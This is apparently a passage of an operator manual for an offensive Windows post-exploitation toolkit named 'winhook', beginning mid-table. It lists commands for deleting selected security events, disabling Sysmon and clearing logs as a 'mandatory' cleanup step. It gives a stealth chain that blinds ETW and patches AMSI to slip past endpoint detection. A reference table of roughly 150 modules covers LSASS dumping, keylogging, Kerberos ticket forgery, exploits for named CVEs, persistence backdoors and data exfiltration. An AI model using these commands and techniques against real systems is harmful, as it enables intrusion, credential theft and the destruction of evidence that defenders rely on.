ShimCache clear	winhook anti_forensics --action shimcache	Clear AppCompatCache entries
Recent docs	winhook anti_forensics --action recent	Clear jump lists, MRU, recent documents
Selective event delete	winhook event_tamper --action selective --log Security --event-id 4624	Remove specific events without clearing entire log (avoids 1102)
Disable log source	winhook event_tamper --action disable-source --log PowerShell	Disable specific event log source
Audit policy modify	winhook event_tamper --action audit-policy	Modify audit policies to stop generating evidence
Log resize/rollover	winhook event_tamper --action resize --log Security	Shrink log max size to force rollover of old entries
Disable Sysmon	winhook event_tamper --action disable-sysmon	Unload Sysmon driver and disable service

Phase 16 — Cleanup (MANDATORY)

Always run cleanup before exiting a target.

winhook cleanup_win

The cleanup tool clears Security, System, Application, and PowerShell event logs, removes temporary files, removes Defender exclusions, and reports on AMSI/ETW patches.

Detection Considerations

Windows post-exploitation tools are detectable by:

• Sysmon — Event IDs 1 (process create), 10 (process access for LSASS), 13 (registry)
• Windows Event Log — Event ID 4688 (process creation), 4624/4625 (logon), 1102 (log cleared), 4662 (directory service access), 4768/4769 (Kerberos)
• EDR — LSASS access monitoring, credential prompt anomaly detection, suspicious PowerShell
• PPL (Protected Process Light) — LSASS PPL blocks direct memory dumps (use nanodump_advanced to bypass)
• Credential Guard — Isolates LSASS in virtualization-based security
• LDAP Signing — Prevents unsigned LDAP modifications (blocks KrbRelayUp)
• Protected Users group — Prevents NTLM, delegation, and credential caching
• ADCS Hardening — StrongCertificateBindingEnforcement=2 blocks ESC9/10

Stealth Mode Detection & Bypass Matrix

Stealth Mode	What It Bypasses	What Still Detects It	Recommendation
base64	Command-line string signatures, static YARA rules on args, basic PowerShell logging	Script Block Logging (Event 4104) decodes before logging, deep packet inspection, EDR behavioral analysis	Use when only command-line auditing is active (Event 4688)
amsi	AMSI content scanning, PowerShell content-based detection, Defender real-time script analysis	Script Block Logging if enabled before patch, ETW-based EDR (patch etw_blind first), AMSI patch detection (Event 1116)	Run etw_blind before amsi mode for full coverage
obfuscate	Static string matching, YARA signature rules, basic regex-based detection, command-line forensics	Script Block Logging (logs deobfuscated), ML-based detection (behavioral), Constrained Language Mode (blocks IEX)	Best against signature-based AV; combine with amsi for defense-in-depth
--pwsh	CLM policies targeting powershell.exe, EDR hooks on powershell.exe AMSI provider, PS5.1-specific detections	EDR hooking pwsh.exe separately, AppLocker/WDAC blocking pwsh.exe, pwsh.exe Script Block Logging	Use when target has PS7 installed and EDR only hooks powershell.exe

Optimal stealth chain: etw_blind → amsi_bypass → --stealth amsi --pwsh on subsequent commands. This disables ETW telemetry, patches AMSI, then runs all payloads through the patched pwsh.exe with AMSI-bypass encoding as a fallback layer.

Program Reference

Program	Technique	MITRE ATT&CK
lsass_dump	LSASS memory dump via MiniDumpWriteDump	T1003.001 — LSASS Memory
nanodump_advanced	EDR-bypass LSASS dump (snapshot/fork/seclogon)	T1003.001 — LSASS Memory
sam_dump	Registry hive extraction (SAM/SYSTEM/SECURITY)	T1003.002 — Security Account Manager
dpapi_extract	DPAPI secret decryption via CryptUnprotectData	T1555.003 — Credentials from Web Browsers
credential_prompt	Fake credential dialog via CredUI	T1056.002 — GUI Input Capture
keylog_win	Keystroke capture via SetWindowsHookEx	T1056.001 — Keylogging
etw_process	Process monitoring via ETW provider	T1057 — Process Discovery
etw_network	Network monitoring via ETW provider	T1049 — System Network Connections Discovery
clipboard_sniff	Clipboard monitoring via Win32 API	T1115 — Clipboard Data
amsi_bypass	AMSI patching in memory	T1562.001 — Disable or Modify Tools
etw_blind	ETW patching to blind EDR	T1562.006 — Indicator Blocking
defender_exclude	Windows Defender exclusion management	T1562.001 — Disable or Modify Tools
token_stomp	Remove security tool token privileges	T1562.001 — Disable or Modify Tools
cleanup_win	Event log clearing and artifact removal	T1070.001 — Clear Windows Event Logs
ad_enum	Active Directory enumeration (LDAP)	T1087.002 — Domain Account
bloodhound_collect	BloodHound data collection	T1087.002 — Domain Account
laps_dump	LAPS password extraction	T1555.005 — Password Managers
laps_v2_decrypt	Windows LAPS v2 encrypted password decryption	T1555.005 — Password Managers
gpo_enum	Group Policy enumeration	T1615 — Group Policy Discovery
ad_dns_enum	AD-integrated DNS enumeration	T1018 — Remote System Discovery
adws_recon	AD Web Services recon (port 9389)	T1018 — Remote System Discovery
cross_forest	Cross-forest trust analysis	T1482 — Domain Trust Discovery
kerberoast	Service ticket request for offline cracking	T1558.003 — Kerberoasting
asreproast	AS-REP hash extraction	T1558.004 — AS-REP Roasting
golden_ticket	TGT forgery with krbtgt hash	T1558.001 — Golden Ticket
silver_ticket	Service ticket forgery	T1558.002 — Silver Ticket
diamond_ticket	Modified legitimate TGT (stealthier than Golden)	T1558.001 — Golden Ticket
sapphire_ticket	S4U2self+U2U real PAC forgery (stealthiest)	T1558.001 — Golden Ticket
delegation_abuse	Kerberos delegation exploitation	T1550.003 — Pass the Ticket
overpass_hash	NTLM to Kerberos TGT conversion	T1550.002 — Pass the Hash
pass_the_ticket	Kerberos ticket export/import/inject	T1550.003 — Pass the Ticket
unpac_hash	Recover NT hash from PKINIT cert auth	T1649 — Steal or Forge Authentication Certificates
dcsync	Directory replication for credential extraction	T1003.006 — DCSync
dcshadow	Rogue DC registration for AD manipulation	T1207 — Rogue Domain Controller
skeleton_key	LSASS skeleton key injection	T1556.001 — Domain Controller Authentication
ad_acl_abuse	Active Directory ACL exploitation	T1222.001 — Windows File and Directory Permissions
adcs_abuse	AD Certificate Services exploitation (ESC1-8)	T1649 — Steal or Forge Authentication Certificates
adcs_esc_advanced	Advanced ADCS exploitation (ESC9-15)	T1649 — Steal or Forge Authentication Certificates
golden_cert	CA private key theft for certificate forgery	T1649 — Steal or Forge Authentication Certificates
pass_the_cert	LDAP/Kerberos auth via Schannel certificate	T1649 — Steal or Forge Authentication Certificates
shadow_creds	msDS-KeyCredentialLink manipulation	T1556.006 — Multi-Factor Authentication Interception
sid_history	SID History injection	T1134.005 — SID-History Injection
dns_admin_abuse	DnsAdmins group exploitation	T1574.001 — DLL Search Order Hijacking
adminsdholder	AdminSDHolder ACL backdoor	T1222.001 — Windows File and Directory Permissions
primary_group_abuse	Hidden group membership via primaryGroupID	T1078.002 — Domain Accounts
rbcd_chain	Full RBCD chain (machine account + S4U)	T1550.003 — Pass the Ticket
nopac	CVE-2021-42278/42287 sAMAccountName impersonation	T1558.001 — Golden Ticket
zerologon	CVE-2020-1472 Netlogon privilege escalation	T1210 — Exploitation of Remote Services
certifried	CVE-2022-26923 AD CS machine account escalation	T1649 — Steal or Forge Authentication Certificates
bad_successor	CVE-2025-53779 dMSA inheritance exploitation	T1078.002 — Domain Accounts
bronze_bit	CVE-2020-17049 S4U2proxy forwardable bypass	T1550.003 — Pass the Ticket
wmi_exec	Remote execution via WMI	T1047 — Windows Management Instrumentation
winrm_exec	Remote execution via WinRM	T1021.006 — Windows Remote Management
dcom_exec	Remote execution via DCOM	T1021.003 — Distributed Component Object Model
smb_exec	Remote execution via SMB services	T1021.002 — SMB/Windows Admin Shares
ntlm_coerce	NTLM authentication coercion	T1557.001 — LLMNR/NBT-NS Poisoning
coercer_full	Full NTLM coercion suite (12+ RPC methods)	T1557.001 — LLMNR/NBT-NS Poisoning
remote_monologue	DCOM-based NTLM coercion (no LSASS touch)	T1557.001 — LLMNR/NBT-NS Poisoning
krbrelayup	Local priv esc via Kerberos relay to LDAP	T1557.001 — LLMNR/NBT-NS Poisoning
mssql_abuse	MSSQL server exploitation	T1505.001 — SQL Stored Procedures
rdp_hijack	RDP session hijacking	T1563.002 — RDP Hijacking
schtask_persist	Scheduled task persistence	T1053.005 — Scheduled Task
service_persist	Windows service persistence	T1543.003 — Windows Service
registry_persist	Registry run key persistence	T1547.001 — Registry Run Keys
wmi_persist	WMI event subscription persistence	T1546.003 — WMI Event Subscription
com_hijack	COM object hijacking	T1546.015 — Component Object Model Hijacking
startup_persist	Startup folder/GPO script persistence	T1547.001 — Registry Run Keys
token_impersonate	Token impersonation/theft	T1134.001 — Token Impersonation/Theft
uac_bypass	UAC bypass techniques	T1548.002 — Bypass User Account Control
potato_attack	Potato privilege escalation variants	T1134.001 — Token Impersonation/Theft
printspooler_abuse	Print Spooler exploitation	T1068 — Exploitation for Privilege Escalation
ntds_dump	NTDS.dit database extraction	T1003.003 — NTDS
dpapi_domain	Domain DPAPI backup key extraction	T1555 — Credentials from Password Stores
cached_creds	Domain Cached Credentials extraction	T1003.005 — Cached Domain Credentials
mssql_creds	MSSQL credential enumeration	T1505.001 — SQL Stored Procedures
wifi_dump	WiFi profile/password extraction	T1555.005 — Password Managers
vault_dump	Windows Credential Vault extraction	T1555.004 — Windows Credential Manager
sccm_abuse	SCCM/MECM exploitation	T1072 — Software Deployment Tools
gpo_abuse	GPO modification for persistence	T1484.001 — Group Policy Modification
gmsa_dump	gMSA password extraction	T1555 — Credentials from Password Stores
unquoted_service_path	Unquoted service path exploitation	T1574.009 — Path Interception by Unquoted Path
weak_service_perms	Weak service DACL/binary permissions	T1574.010 — Services File Permissions Weakness
dll_hijack	DLL search order hijacking (10 known targets)	T1574.001 — DLL Search Order Hijacking
dll_sideload	DLL sideloading via trusted applications	T1574.002 — DLL Side-Loading
always_install_elevated	AlwaysInstallElevated MSI policy abuse	T1574.007 — Path Interception by PATH Environment Variable
stored_creds_abuse	Stored credential extraction (8 sources)	T1552.001 — Credentials In Files
privilege_abuse	Token privilege abuse (Se* privileges)	T1134 — Access Token Manipulation
named_pipe_privesc	Named pipe impersonation to SYSTEM	T1134.001 — Token Impersonation/Theft
byovd	Bring Your Own Vulnerable Driver	T1068 — Exploitation for Privilege Escalation
shadow_copy_abuse	VSS shadow copy credential access	T1003.003 — NTDS
wsl_privesc	WSL escape to Windows host	T1611 — Escape to Host
scheduled_task_hijack	Scheduled task binary hijacking	T1053.005 — Scheduled Task
server_operator_abuse	Server Operators group exploitation	T1078.002 — Domain Accounts
msi_abuse	MSI repair/installer hijacking	T1574.007 — Path Interception by PATH Environment Variable
backup_operator_abuse	Backup Operators group exploitation	T1078.002 — Domain Accounts
applocker_bypass	AppLocker/WDAC bypass techniques	T1218 — System Binary Proxy Execution
stealth_check	Verify stealth encoding modes on target	T1027 — Obfuscated Files or Information
local_recon	Local environment and AV/EDR product detection	T1082 — System Information Discovery
ps_downgrade	PowerShell 2.0 downgrade attack	T1059.001 — PowerShell
process_inject	Process injection (hollowing, APC, hijack, early bird, DLL)	T1055 — Process Injection
firewall_manage	Windows Firewall manipulation and port forwarding	T1562.004 — Disable or Modify System Firewall
data_exfil	Multi-channel data exfiltration (DNS, HTTPS, SMB, ICMP)	T1048 — Exfiltration Over Alternative Protocol
anti_forensics	Anti-forensics (timestamp stomp, prefetch, amcache, USN, shimcache)	T1070 — Indicator Removal
share_hunt	Network share hunting and sensitive file discovery	T1135 — Network Share Discovery
screenshot_grab	Screen, window, and webcam capture	T1113 — Screen Capture
reg_secrets	Registry credential extraction (AutoLogon, VNC, PuTTY, WinSCP, RDP, services)	T1552.002 — Credentials in Registry
browser_harvest	Browser password, cookie, history extraction (Chrome/Edge/Firefox/Brave)	T1555.003 — Credentials from Web Browsers
cert_steal	Certificate store enumeration and PFX export with private keys	T1649 — Steal or Forge Authentication Certificates
event_tamper	Selective event log tampering, Sysmon disable, audit policy modification	T1070.001 — Clear Windows Event Logs
proxy_pivot	Network pivoting (SOCKS proxy, reverse forward, SSH tunnel, portproxy)	T1090 — Proxy
wdigest_enable	WDigest plaintext credential caching control (UseLogonCredential)	T1556 — Modify Authentication Process
password_spray	Domain password spraying with lockout awareness	T1110.003 — Password Spraying
ntlm_relay	SMB1 Negotiate signing probe + NTLMv2 hash capture (NTLMSSP Type3 parse, hashcat 5600)	T1557.001 — LLMNR/NBT-NS Poisoning
responder_poison	LLMNR poisoner (DNS-format response, question echo) + NBT-NS passive monitoring	T1557.001 — LLMNR/NBT-NS Poisoning
azure_ad_hybrid	Azure AD hybrid attacks (PRT theft, AAD Connect, Seamless SSO key)	T1528 — Steal Application Access Token
adidns_poison	AD-integrated DNS record injection via LDAP (MS-DNSP compliant DNS_RPC_RECORD)	T1584.002 — DNS Server
machine_account	Machine account create/delete via MachineAccountQuota abuse	T1136.002 — Domain Account
bitlocker_keys	BitLocker recovery key extraction (local, AD, remote)	T1486 — Data Encrypted for Impact
win_hello_dump	Windows Hello NGC key extraction and PIN policy analysis	T1556 — Modify Authentication Process
exchange_abuse	Exchange Server exploitation (GAL, mailbox, transport rules, privesc)	T1114 — Email Collection
ppl_bypass	PPL bypass — RunAsPPL check, Credential Guard detection, vulnerable driver guidance	T1574.010 — Services File Permissions Weakness
bits_persist	BITS transfer job persistence with NotifyCmdLine and upload exfil	T1197 — BITS Jobs
wsus_abuse	WSUS exploitation — HTTP MITM assessment, SharpWSUS injection workflow	T1072 — Software Deployment Tools
golden_gmsa	KDS root key extraction for offline gMSA password computation	T1555 — Credentials from Password Stores
silver_saml	ADFS token-signing cert extraction and SAML token forgery	T1606.002 — SAML Tokens
rdp_shadow	Active RDP session shadowing (view/control, consent/no-consent)	T1563.002 — RDP Hijacking
print_monitor_persist	Print/port monitor DLL persistence via Spooler service (SYSTEM)	T1547.010 — Port Monitors
clm_bypass	CLM escape via MSBuild/runspace/InstallUtil/XSLT/Add-Type (5 methods)	T1059.001 — PowerShell
ssp_persist	SSP enumeration, AddSecurityPackage install, registry persistence for credential capture	T1547.005 — Security Support Provider
password_filter	Notification Packages enumeration and password filter DLL registration	T1556.002 — Password Filter DLL
dsrm_abuse	DSRM local admin abuse on DCs — DsrmAdminLogonBehavior check/set, password sync	T1003.003 — NTDS
ntlmv1_downgrade	LmCompatibilityLevel check/downgrade/restore for NTLMv1 hash cracking	T1550.002 — Pass the Hash
accessibility_backdoor	Accessibility binary replacement (sethc/utilman/narrator/osk/magnify) with IFEO fallback	T1546.008 — Accessibility Features
ifeo_persist	IFEO debugger and SilentProcessExit persistence — process redirection/exit monitoring	T1546.012 — Image File Execution Options Injection
rid_hijack	SAM F-value RID manipulation for hidden administrator access	T1078.002 — Domain Accounts
winlogon_persist	Winlogon Shell/Userinit/Notify registry persistence (SYSTEM at logon)	T1547.004 — Winlogon Helper DLL
appinit_dll	AppInit_DLLs mass DLL injection into all User32.dll processes	T1546.010 — AppInit DLLs
netsh_helper	Netsh helper DLL persistence (loads on netsh.exe invocation)	T1546.007 — Netsh Helper DLL
time_provider	W32Time service DLL provider persistence (SYSTEM, rarely audited)	T1547.003 — Time Providers
screensaver_persist	Screensaver SCRNSAVE.EXE idle-trigger persistence (no admin, HKCU)	T1546.002 — Screensaver